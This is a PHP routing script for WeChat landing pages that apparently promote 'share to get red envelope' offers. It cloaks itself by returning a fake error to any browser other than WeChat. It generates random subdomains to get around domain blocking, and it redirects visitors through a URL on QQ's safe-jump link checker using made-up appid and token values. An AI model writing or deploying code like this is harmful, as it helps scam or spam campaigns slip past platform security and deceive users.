<?php
/**
 * Created by PhpStorm.
 * User: huanglintian
 * Date: 2019/3/26
 * Time: 10:28
 */
$user_agent = $_SERVER['HTTP_USER_AGENT'];
if (strpos($user_agent, 'MicroMessenger') === false) {
	exit(json_encode(array('code'=>-10001,'msg'=>'disappear...')));
}
$data = require __DIR__ . '/data.php';
include __DIR__ . '/include.php';

$rote = isset($_GET['s']) ? trim($_GET['s']) : '';
$type = isset($_GET['p']) ? trim($_GET['p']) : '';
$f = isset($_GET['f']) ? trim($_GET['f']) : '';
$key = isset($_GET['key']) ? trim($_GET['key']) : '';
if($f=='thr'){
	if($key){
		$luodi = base64_decode($key);
		$luodiArr = explode('.', $luodi);
		$newluodiDomain = get_rand_str(2, 6).'.'.$luodiArr[1].'.'.$luodiArr[2]; //新的随机落地域名		
		//中转域名2跳落地
		$appid = rand(20,100);
		$token = get_rand_str(6, 15);
		$luodiDomain = 'http://'.$newluodiDomain."/index5gc.html#".base64_encode($appid.$token);
		$middleDomain  = "http://safejmp.urlsec.qq.com/?appid=$appid&token=$token&ts=1515412542&url=$luodiDomain";		
		header("location:{$middleDomain}");exit();
	}
}
if (preg_match('/index5gc/', $rote, $matches))  { //luodi
	include  '../index5gc.php';
} else if (preg_match('/share.html/', $rote, $matches)) { //share
	include  '../share5gc.php';
}else if (preg_match('/share_HB2_0106.php/', $rote, $matches)) { //config
	include  '../share_HB2_0106.php';
}else if (preg_match('/getShareHongBao/', $rote, $matches)) { //getShareHongBao
	include  '../getShareHongBao.php';
}else if (preg_match('/back.php/', $rote, $matches)) { //back
	include  '../back.php';
}else if (preg_match('/back_url2.php/', $rote, $matches)) { //back_url2
	include  '../back_url2.php';
}else if (preg_match('/utf8tob64/', $rote, $matches)) { //utf8tob64
	include  '../utf8tob64.php';
}else {
	include  './cover.php';
}